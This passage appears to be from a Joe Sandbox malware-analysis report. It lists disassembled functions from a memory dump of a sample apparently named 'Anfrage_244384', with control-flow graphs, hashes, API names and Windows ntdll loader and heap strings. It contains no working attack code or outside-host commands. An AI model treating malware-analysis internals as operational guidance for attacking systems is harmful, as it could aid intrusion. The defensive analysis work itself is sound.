                                                        control_flow_graph 1053 3474a670-3474a6e9 call 34682410 * 2 RtlDebugPrintTimes 1059 3474a89f-3474a8c4 call 346825b0 * 2 call 346b4c30 1053->1059 1060 3474a6ef-3474a6fa 1053->1060 1062 3474a724 1060->1062 1063 3474a6fc-3474a709 1060->1063 1067 3474a728-3474a734 1062->1067 1065 3474a70f-3474a715 1063->1065 1066 3474a70b-3474a70d 1063->1066 1069 3474a7f3-3474a7f5 1065->1069 1070 3474a71b-3474a722 1065->1070 1066->1065 1071 3474a741-3474a743 1067->1071 1072 3474a81f-3474a821 1069->1072 1070->1067 1073 3474a745-3474a747 1071->1073 1074 3474a736-3474a73c 1071->1074 1076 3474a755-3474a77d RtlDebugPrintTimes 1072->1076 1077 3474a827-3474a834 1072->1077 1073->1072 1079 3474a74c-3474a750 1074->1079 1080 3474a73e 1074->1080 1076->1059 1091 3474a783-3474a7a0 RtlDebugPrintTimes 1076->1091 1082 3474a836-3474a843 1077->1082 1083 3474a85a-3474a866 1077->1083 1081 3474a86c-3474a86e 1079->1081 1080->1071 1081->1072 1086 3474a845-3474a849 1082->1086 1087 3474a84b-3474a851 1082->1087 1088 3474a87b-3474a87d 1083->1088 1086->1087 1092 3474a857 1087->1092 1093 3474a96b-3474a96d 1087->1093 1089 3474a870-3474a876 1088->1089 1090 3474a87f-3474a881 1088->1090 1095 3474a8c7-3474a8cb 1089->1095 1096 3474a878 1089->1096 1094 3474a883-3474a889 1090->1094 1091->1059 1101 3474a7a6-3474a7cc RtlDebugPrintTimes 1091->1101 1092->1083 1093->1094 1097 3474a8d0-3474a8f4 RtlDebugPrintTimes 1094->1097 1098 3474a88b-3474a89d RtlDebugPrintTimes 1094->1098 1100 3474a99f-3474a9a1 1095->1100 1096->1088 1097->1059 1104 3474a8f6-3474a913 RtlDebugPrintTimes 1097->1104 1098->1059 1101->1059 1106 3474a7d2-3474a7d4 1101->1106 1104->1059 1111 3474a915-3474a944 RtlDebugPrintTimes 1104->1111 1108 3474a7d6-3474a7e3 1106->1108 1109 3474a7f7-3474a80a 1106->1109 1112 3474a7e5-3474a7e9 1108->1112 1113 3474a7eb-3474a7f1 1108->1113 1110 3474a817-3474a819 1109->1110 1114 3474a80c-3474a812 1110->1114 1115 3474a81b-3474a81d 1110->1115 1111->1059 1119 3474a94a-3474a94c 1111->1119 1112->1113 1113->1069 1113->1109 1116 3474a814 1114->1116 1117 3474a868-3474a86a 1114->1117 1115->1072 1116->1110 1117->1081 1120 3474a972-3474a985 1119->1120 1121 3474a94e-3474a95b 1119->1121 1124 3474a992-3474a994 1120->1124 1122 3474a963-3474a969 1121->1122 1123 3474a95d-3474a961 1121->1123 1122->1093 1122->1120 1123->1122 1125 3474a996 1124->1125 1126 3474a987-3474a98d 1124->1126 1125->1090 1127 3474a98f 1126->1127 1128 3474a99b-3474a99d 1126->1128 1127->1124 1128->1100
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: HEAP:
                                                        • API String ID: 3446177414-2466845122
                                                        • Opcode ID: b9f9492dff2013d65244678c9bfc4eb1843bdca7639a133549e349d7a27a2ebe
                                                        • Instruction ID: 7fc5a6237ba72598fd2591518aa9dbbe0097d85303fd863a7b8381fa51b4c6b9
                                                        • Opcode Fuzzy Hash: b9f9492dff2013d65244678c9bfc4eb1843bdca7639a133549e349d7a27a2ebe
                                                        • Instruction Fuzzy Hash: 39A17BB5B043118FD716CE28C891A2AB7EAFF88360F15496DE945DB351EB30EC46CB91
                                                        Function 346A7630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1129 346a7630-346a7651 1130 346a768b-346a7699 call 346b4c30 1129->1130 1131 346a7653-346a766f call 3467e660 1129->1131 1136 346e4638 1131->1136 1137 346a7675-346a7682 1131->1137 1141 346e463f-346e4645 1136->1141 1138 346a769a-346a76a9 call 346a7818 1137->1138 1139 346a7684 1137->1139 1145 346a76ab-346a76c1 call 346a77cd 1138->1145 1146 346a7701-346a770a 1138->1146 1139->1130 1143 346e464b-346e46b8 call 346ff290 call 346b9020 RtlDebugPrintTimes BaseQueryModuleData 1141->1143 1144 346a76c7-346a76d0 call 346a7728 1141->1144 1143->1144 1161 346e46be-346e46c6 1143->1161 1144->1146 1154 346a76d2 1144->1154 1145->1141 1145->1144 1149 346a76d8-346a76e1 1146->1149 1156 346a770c-346a770e 1149->1156 1157 346a76e3-346a76f2 call 346a771b 1149->1157 1154->1149 1158 346a76f4-346a76f6 1156->1158 1157->1158 1163 346a76f8-346a76fa 1158->1163 1164 346a7710-346a7719 1158->1164 1161->1144 1166 346e46cc-346e46d3 1161->1166 1163->1139 1165 346a76fc 1163->1165 1164->1163 1167 346e47be-346e47d0 call 346b2c50 1165->1167 1166->1144 1168 346e46d9-346e46e4 1166->1168 1167->1139 1170 346e46ea-346e4723 call 346ff290 call 346baaa0 1168->1170 1171 346e47b9 call 346b4d48 1168->1171 1178 346e473b-346e476b call 346ff290 1170->1178 1179 346e4725-346e4736 call 346ff290 1170->1179 1171->1167 1178->1144 1184 346e4771-346e477f call 346ba770 1178->1184 1179->1146 1187 346e4786-346e47a3 call 346ff290 call 346ecf9e 1184->1187 1188 346e4781-346e4783 1184->1188 1187->1144 1193 346e47a9-346e47b2 1187->1193 1188->1187 1193->1184 1194 346e47b4 1193->1194 1194->1144
                                                        Strings
                                                        • CLIENT(ntdll): Processing section info %ws..., xrefs: 346E4787
                                                        • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 346E46FC
                                                        • Execute=1, xrefs: 346E4713
                                                        • ExecuteOptions, xrefs: 346E46A0
                                                        • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 346E4655
                                                        • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 346E4725
                                                        • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 346E4742
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                        • API String ID: 0-484625025
                                                        • Opcode ID: 49e1957318d09a390e0c9e1dce70ed908641428d7f4b0809aa5030c66714d37d
                                                        • Instruction ID: a5166b12f42c4f7fef11b77ad50a99164cc15f71036baa7d407f48c59d046f45
                                                        • Opcode Fuzzy Hash: 49e1957318d09a390e0c9e1dce70ed908641428d7f4b0809aa5030c66714d37d
                                                        • Instruction Fuzzy Hash: D65114B5B00619AFEF10AFA4DC89BEA77B8EF14342F4400E9E504A7190EB31EE458F55
                                                        Function 3468A250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 346D79FA
                                                        • RtlpFindActivationContextSection_CheckParameters, xrefs: 346D79D0, 346D79F5
                                                        • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 346D7AE6
                                                        • SsHd, xrefs: 3468A3E4
                                                        • Actx , xrefs: 346D7A0C, 346D7A73
                                                        • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 346D79D5
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                                        • API String ID: 0-1988757188
                                                        • Opcode ID: b5cb9ff602e5e2dbbfa24f0be27af3a4452d917c1293dc4ec5873d919ed7b90a
                                                        • Instruction ID: 8fd3152e0dedc7f8401db95de8cb9fc29442c08bbe631a05cf1feb72bf3da696
                                                        • Opcode Fuzzy Hash: b5cb9ff602e5e2dbbfa24f0be27af3a4452d917c1293dc4ec5873d919ed7b90a
                                                        • Instruction Fuzzy Hash: DEE1BDB57043028FE710CE24CC94B1AB7E5EB95364F544A2DEDA5CB290EB31D985CB83
                                                        Function 346EFD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                        • API String ID: 3446177414-4227709934
                                                        • Opcode ID: 8ad62fa7dfbc5344dc86daba1896e627d6d8644e7c90dbf9d725d7872f01f4b2
                                                        • Instruction ID: 77becda829cce8e60cec9e8da173a37bfa55b3b29f432f70de3e496a392dc991
                                                        • Opcode Fuzzy Hash: 8ad62fa7dfbc5344dc86daba1896e627d6d8644e7c90dbf9d725d7872f01f4b2
                                                        • Instruction Fuzzy Hash: 36417EB9A02208BBDB05DF95CA80AEEBBF9FF58354F100059E904A7341D731E991CF90
                                                        Function 346665B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 346C9AC5, 346C9B06
                                                        • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 346C9AF6
                                                        • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 346C9AB4
                                                        • LdrpLoadShimEngine, xrefs: 346C9ABB, 346C9AFC
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-3589223738
                                                        • Opcode ID: 2e629b9c340e72a23a1eec932c423ab8ff9843a347ebbcc85bda09205e25f778
                                                        • Instruction ID: 28a370498e8eab2ab2ffa5b7d8e437cb97bd009f9fb637a19c1463318d607542
                                                        • Opcode Fuzzy Hash: 2e629b9c340e72a23a1eec932c423ab8ff9843a347ebbcc85bda09205e25f778
                                                        • Instruction Fuzzy Hash: 4151F076700354DFEB14CFA8D898ADDB7A7EB50318F040169E442BB2A5CB789C45CF99
                                                        Function 34699803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: @3v4$LdrpUnloadNode$Unmapping DLL "%wZ"$dfv4@3v4@3v4$minkernel\ntdll\ldrsnap.c
                                                        • API String ID: 3446177414-3359740643
                                                        • Opcode ID: 56823eb9fd9fcabc60bef1ac083edd3461b7c6b4e6f7a29e65d3ac632bafdecb
                                                        • Instruction ID: f546ef3889c954475216a346e48271088a06f50febd7f2a10db06809ba02a1db
                                                        • Opcode Fuzzy Hash: 56823eb9fd9fcabc60bef1ac083edd3461b7c6b4e6f7a29e65d3ac632bafdecb
                                                        • Instruction Fuzzy Hash: A45103B1300301DFF714DF24C984BA9B7EABB94314F040A2DE8959B391DBB4A849CF96
                                                        Function 3469DB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                        • API String ID: 3446177414-3224558752
                                                        • Opcode ID: 5cca3921bc59e81882e4007d0d812d5fbf93708286600c5b47667776aa074249
                                                        • Instruction ID: d4c07e4ed9f8a303611a0eb8ae608d62d8adda4f26c11c01024f9968becc0ae5
                                                        • Opcode Fuzzy Hash: 5cca3921bc59e81882e4007d0d812d5fbf93708286600c5b47667776aa074249
                                                        • Instruction Fuzzy Hash: FA4148B5600780DFE705CF24C8A4B9AB7F8EF16764F10857DD4015BB92CBB8A880CB92
                                                        Function 3471F157 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 128timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • HEAP: , xrefs: 3471F15D
                                                        • Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information, xrefs: 3471F263
                                                        • ---------------------------------------, xrefs: 3471F279
                                                        • Entry Heap Size , xrefs: 3471F26D
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: ---------------------------------------$Below is a list of potentially leaked heap entries use !heap -i Entry -h Heap for more information$Entry Heap Size $HEAP:
                                                        • API String ID: 3446177414-1102453626
                                                        • Opcode ID: 89672f80b079c8cf8d3881bc1fb23601df63dcd109d2ec4de41a040800a2d6eb
                                                        • Instruction ID: 6c9a9a915d5dcaf449b8f9378b6e271fc74de8429185d9af2c763d817504d2e4
                                                        • Opcode Fuzzy Hash: 89672f80b079c8cf8d3881bc1fb23601df63dcd109d2ec4de41a040800a2d6eb
                                                        • Instruction Fuzzy Hash: BD417979A00215DFD704CF19C884999BBEAFB4A3587258169D409AF312DB35EC03CB98
                                                        Function 3469DBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                        • API String ID: 3446177414-1222099010
                                                        • Opcode ID: 35f7e610372c4cb960243c28175bcf09788857b8086e5fde9b12bbaeef444f62
                                                        • Instruction ID: 83269bb8b44dcaa199a96b69b121cb1ee0ea920d651160095c983226aaff9755
                                                        • Opcode Fuzzy Hash: 35f7e610372c4cb960243c28175bcf09788857b8086e5fde9b12bbaeef444f62
                                                        • Instruction Fuzzy Hash: F031F7B5204784DFF716CF24C818BD67BECEF02764F0041A9E44257B52CBF8A880CA56
                                                        Function 346BB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: __aulldvrm
                                                        • String ID: +$-$0$0
                                                        • API String ID: 1302938615-699404926
                                                        • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction ID: 0d4918bb86ca9ddf814a4ef09ca7a5850935e574e91095ad1c05830bc416cff6
                                                        • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                        • Instruction Fuzzy Hash: B9810378F013598EEF04CF6AC8917EEBBB1AF55B50F54412ED8E0A7A91DB308840CB52
                                                        Function 34679126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$@
                                                        • API String ID: 3446177414-1194432280
                                                        • Opcode ID: 770c58acc04a1f8f934d3cfa8351f61c857d6c24199c33d5535f5e0e47e3a3db
                                                        • Instruction ID: 8cf97e760641b13827a57551244cedc9d69d6df646662fd8e8bd5c95b4379821
                                                        • Opcode Fuzzy Hash: 770c58acc04a1f8f934d3cfa8351f61c857d6c24199c33d5535f5e0e47e3a3db
                                                        • Instruction Fuzzy Hash: F88129B5D00269DFEB21CF54CC44BDAB7B8AF09750F1041EAA91AB7240E7309E85CFA5
                                                        Function 346A4D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 346E362F
                                                        • minkernel\ntdll\ldrsnap.c, xrefs: 346E3640, 346E366C
                                                        • LdrpFindDllActivationContext, xrefs: 346E3636, 346E3662
                                                        • Querying the active activation context failed with status 0x%08lx, xrefs: 346E365C
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                        • API String ID: 3446177414-3779518884
                                                        • Opcode ID: a6415a67b741244a2ac7027aea53ce2f0bba23630a0cc1e86dae4dd232228fc4
                                                        • Instruction ID: 172a1604456079f70c20112dfc465ede69fe2fe1dd658c77657257993a2e0cdf
                                                        • Opcode Fuzzy Hash: a6415a67b741244a2ac7027aea53ce2f0bba23630a0cc1e86dae4dd232228fc4
                                                        • Instruction Fuzzy Hash: AD31E6F6A00B11FFEB11BF14CC88A6573A9EB517A4F42416FE40467661DBA09CC0CA97
                                                        Function 3469245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • minkernel\ntdll\ldrinit.c, xrefs: 346DA9A2
                                                        • TGd4, xrefs: 34692462
                                                        • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 346DA992
                                                        • LdrpDynamicShimModule, xrefs: 346DA998
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TGd4$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 0-3495290341
                                                        • Opcode ID: 962b3f37a03917c992b73430c7870ab126f3678a909a35fb26b255a58a13ccf0
                                                        • Instruction ID: c4e17fa18a7c5d5b98db2b5d1a64e2561122e4e3f52f4257e4e77aaee68a3ac6
                                                        • Opcode Fuzzy Hash: 962b3f37a03917c992b73430c7870ab126f3678a909a35fb26b255a58a13ccf0
                                                        • Instruction Fuzzy Hash: 9B3159B5600302EFE7108FADCC80EDA77BAFB95B54F550159E8057B250CBB49882CF85
                                                        Function 347220E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: ___swprintf_l
                                                        • String ID: %%%u$[$]:%u
                                                        • API String ID: 48624451-2819853543
                                                        • Opcode ID: 5bc480b8dbed2aee9a4bbcfcfafe03df90f4b390e647e0e47b125042b25764ff
                                                        • Instruction ID: 13f81428788f22a87136e305fcbfccd3c930d815647349a832bf7b0b919d3493
                                                        • Opcode Fuzzy Hash: 5bc480b8dbed2aee9a4bbcfcfafe03df90f4b390e647e0e47b125042b25764ff
                                                        • Instruction Fuzzy Hash: F62133BAA0011DAFDB10DEA9CC44EEE7BE9EF54654F54011AE945E7200E730DA058BA5
                                                        Function 346A7B2F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81timethreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                        • String ID: X`p(
                                                        • API String ID: 4281723722-1167508055
                                                        • Opcode ID: f5d47bb90270f0a4fe124dffd0a9df3a23f72feda1905afa653970e53bf36bcf
                                                        • Instruction ID: f3e0b517419df9733edcfaaeb8dbd037e78097ea1bf945cddb9cd89788d5d73f
                                                        • Opcode Fuzzy Hash: f5d47bb90270f0a4fe124dffd0a9df3a23f72feda1905afa653970e53bf36bcf
                                                        • Instruction Fuzzy Hash: 543102B5E01218DFDF15DFA8D884AADBBF2FB48720F10412AE511B7290CB355941DF58
                                                        Function 3466F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                        • Associated: 00000005.00000002.2738210193.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_5_2_34640000_Anfrage_244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
